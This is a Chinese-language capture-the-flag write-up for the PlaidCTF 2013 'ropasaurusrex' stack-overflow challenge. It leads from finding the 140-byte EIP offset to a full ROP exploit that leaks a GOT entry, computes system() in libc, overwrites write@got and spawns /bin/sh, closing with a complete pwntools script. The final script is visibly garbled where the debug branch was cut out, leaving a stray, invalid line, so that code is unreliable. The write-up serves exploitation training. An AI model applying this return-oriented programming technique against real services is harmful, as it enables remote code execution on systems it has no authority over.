Plaid CTF 2013 - pwn200 – ropasaurusrex

  • 根据难度可以分成Level 1 ~ 5
  • Level 1(原始二进制)会详细讲解
  • 后面的难度自行探索

ropasaurusrex攻略(Level 1)

查看x86二进制文件

文件可以在这里下载:

http://shell-storm.org/repo/CTF/PlaidCTF-2013/Pwnable/ropasaurusrex-200/

  • 尝试运行一下,大概像这样:

    1
    2
    3
    4
    $ ./ropasaurusrex       
    aaa
    WIN
    $
  • 只启用了NX

    1
    2
    3
    4
    5
    6
    7
    8
    $ gdb ropasaurusrex -q
    gdb-peda$ checksec
    CANARY : disabled
    FORTIFY : disabled
    NX : ENABLED
    PIE : disabled
    RELRO : disabled
    gdb-peda$
  • __libc_start_main之前push的值是main()函数

    1
    2
    3
    4
    5
    6
    7
    8
    int __libc_start_main(int (*main) (int,char**, char**), 
    int argc,
    char **ubp_av,
    void (*init) (void),
    void (*fini) (void),
    void (*rtld_fini) (void),
    void (*stack_end)
    );
  • __libc_start_main是glibc(现代Linux标准)中,在调用main()函数之前准备各种东西的包装函数

    img

  • 只有两个函数

    • 大致分析结果

    img

  • 转换成C语言代码大概是这样:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    int main(int argc, char **argv, char **envp) { 
    do_read();
    return write(STDOUT_FILENO, "WIN\n", 4);
    }

    void do_read() {
    char buffer[128];
    read(STDIN_FILENO, buf, 256);
    }
  • 很明显存在stack溢出

    • 128字节的区域中读入256字节内容

    img

  • 溢出前后stack的状态大概是这样

    img

    • 我们使用gdb测试能否直接控制Return Address

    img

漏洞测试

  • 如果能够控制EIP就最好了

    • 只需要发送大量的’A’,通过溢出应该能够覆盖返回地址

    • 但是,在编写exploit时,需要知道具体溢出在哪个字节位置

      • 单纯通过AAAA…来修改返回地址的话,并不能再换掉具体多少个字节能够控制EIP
      • gcc编译优化可能存在align,导致产生偏移
      • IDA的stack frame显示相对准确,但为了以防万一
    • 通过gdb的pattern来计算出EIP的偏移

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      $ gdb ropasaurusrex -q  
      gdb-peda$ pattern_create 256
      'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G'
      gdb-peda$ r <<< 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G'
      Starting program: /home/parallels/Desktop/ropasaurusrex-200/ropasaurusrex <<< 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G'

      Program received signal SIGSEGV, Segmentation fault.
      ...s
      Program received signal SIGSEGV (fault address 0x41416d41)
      gdb-peda$ pattern_offset 0x41416d41
      1094806849 found at offset: 140
      gdb-peda$

可以看到EIP可以被修改为任意值

  • 也获取到了Return Address的偏移是140
    • 140bytes + Return Address + …
  • 存在预期的漏洞,可以利用
    • 尝试很重要
    • 能够控制EIP才能够利用漏洞
  • 之后继续调试编写exploit就可以

动态调试

编写exploit前需要注意的

  • 题目环境开启了ASLR(确切的说,大部分CTF都开启了ASLR)
  • 也就是说,需要使用泄漏地址或者类似技术
  • exploit中需要动态计算和发送地址
  • 对于地址调整,如果不能用gdb动态调试就很麻烦

动态调试环境

推荐使用socat结合gdbserver

  • 服务端(终端1)

    1
    2
    3
    4
    $ vi main.sh
    gdbserver localhost:1234 ./ropasaurusrex
    $ chmod +x main.sh
    $ socat TCP-LISTEN:1025,reuseaddr,fork EXEC:"./main.sh"
  • 使用socat进行监听,如果有连接则运行gdbserver

  • 攻击端(终端2)

    1
    $ python -c "print 'A'*140 + 'B'*4" | nc localhost 1025
  • 调试端(终端3)

    1
    2
    3
    4
    5
    $ vi cmd
    file ./ropasaurusrex
    target remote localhost:1234
    c
    $ gdb ./ropasaurusrex -q -x cmd
  • 利用gdb的远程调试功能连接到本机的gdbserver

调试

如果想要查看每一步的状态或者GOT覆盖状态,可以使用gdb设置好断点

  • 建议设置在0x0804841C附近
  • 因为它是ROP的开始
img
img
  • 每次都设置断点很麻烦,可以将其写在cmd文件中

    1
    2
    3
    4
    5
    $ vi cmd
    file ./ropasaurusrex
    target remote localhost:1234
    b *0x0804841C
    c
  • 之后按上节动态调试环境中步骤运行

    img

    • 停在了ret
    • 之后将要返回的是”BBBB”(=0x42424242)
  • 继续执行一条指令

    img

    • EIP = 0x42424242
  • 仔细构造数据就能够ret2plt或者GOT overwrite

编写exploit

  • exploit模板大概是这样(使用pwntools):

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    #!/usr/bin/python
    # -*- coding: utf-8 -*-

    from pwn import *

    context(os='linux', arch='i386')
    context.log_level = 'debug' # output verbose log

    RHOST = "localhost"
    RPORT = 8080
    LHOST = "127.0.0.1"
    LPORT = 8080

    # libc = ELF('')
    elf = ELF('./babyfirst-heap')


    def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']


    conn = None
    if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
    conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
    conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
    execute = """
    # set environment LD_PRELOAD=
    #b *{0}
    #b *0x8048afa
    ignore 2 0x0a
    c
    """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
    conn = gdb.debug(['./babyfirst-heap'], execute=execute)
    else:
    conn = process(['./babyfirst-heap'])
    # conn = process(['./heap'], env={'LD_PRELOAD': ''})

    # preparing for exploitation

    log.info('Pwning')

    payload = ""

    conn.sendline(payload)

    conn.interactive()
  • pwntools使用方法参见官方文档及其他公开资料

信息收集

  • 编写exploit之前需要先收集二进制地址等信息

  • 可以使用各种命令来收集信息

  • 调查各种PLT/GOT

    $ objdump -d -M intel ropasaurusrex | grep "@plt>:" -A1

  • pop×N gadget 调查

    1
    2
    3
    $ gdb ./ropasaurusrex –q
    gdb-peda $ start
    gdb-peda $ ropgadget
  • 地址固定的RW区域(.data)调查

    $ readelf -S ropasaurusrex | fgrep .data

  • libc中的system偏移

  • 1
    2
    $ ldd ropasaurusrex (首先获取使用的libc路径)
    $ objdump -d /lib/i386-linux-gnu/libc.so.6 | grep "system" (在对应libc中调查)

组合攻击流

  1. 通过write泄漏某处GOT的地址

    将write(STDOUT, got_write, 4)加载到stack上

  2. 通过泄漏的地址计算出system@libc的地址

    1
    libc_base = u(f.read(4)) - offset_write libc_system = libc_base + offset_system
  3. 在某处生成字符串”/bin/sh\0”

    将read(STDIN, .data, 8)加载到stack上

  4. 将某个GOT重写为system@libc

    将read(STDIN, got_write, 4)加载到stack上

  5. 使用参数”/bin/sh”调用被修改GOT的函数

    将write(.data)加载到stack上,这等价于system(“/bin/sh”)

也就是说,整个流程要加载到stack伤的数据如下:

img
img
  • 发送这段数据,会调用plt_write()

    img

  • 通过plt_write()泄漏地址,攻击者可以获取4个字节

    img

  • 根据获取的数据计算出system的地址

    img

  • 因为二进制程序正在等待数据读取,首先准备”/bin/sh”

    img

  • 再次读取,使用计算出的system地址重写write@got

    img

  • 通过GOT Overwrite使得write=system,之后调用write(.data)

    img

  • 实际调用的是system(“/bin/sh”),getshell

    img

exploit

最终完整exploit代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#!/usr/bin/python
# -*- coding: utf-8 -*-

from pwn import *

context(os='linux', arch='i386')
# context.log_level = 'debug' # output verbose log

RHOST = "localhost"
RPORT = 1025
LHOST = "127.0.0.1"
LPORT = 1025

# libc = ELF('')
elf = ELF('./ropasaurusrex')

def section_addr(name, elf=elf):
return elf.get_section_by_name(name).header['sh_addr']


conn = None
if len(sys.argv) > 1:
if sys.argv[1] == 'r':
conn = remote(RHOST, RPORT)
elif sys.argv[1] == 'l':
conn = remote(LHOST, LPORT)

if 'main' in elf.symbols.keys() else elf.entrypoint))
conn = gdb.debug(['./ropasaurusrex'], execute=execute)
else:
conn = process(['./ropasaurusrex'])

# preparing for exploitation
write_plt = 0x0804830c
read_plt = 0x0804832c
pop3ret = 0x80484b6
write_got = 0x8049614
read_got = 0x804961c
data = 0x08049620
system_offset = 0x0003d200
write_offset = 0x000e6d80

log.info('Pwning')

buf = 'A' * 140
# write(STDOUT, got_write, 4)
buf += p32(write_plt) + p32(pop3ret) + p32(1) + p32(write_got) + p32(4)
# read(STDIN, data, 8)
buf += p32(read_plt) + p32(pop3ret) + p32(0) +p32(data) + p32(8)
# read(STDIN, got_write, 4)
buf += p32(read_plt) + p32(pop3ret) + p32(0) + p32(write_got) + p32(4)
# write(data) # system("/bin/sh")
buf += p32(write_plt) + p32(0xdeadbeef) + p32(data)


conn.sendline(buf)
ret = u32(conn.recv())
print('write@got: {}'.format(hex(ret)))
print('libc_start: {}'.format(hex(ret - write_offset)))
system_addr = ret - write_offset + system_offset
print('system: {}'.format(hex(system_addr)))

conn.send('/bin/sh'+'\x00')

buf = p32(system_addr)
conn.send(buf)

conn.interactive()

按照上述动态调试环境测试运行,pwned:

img
img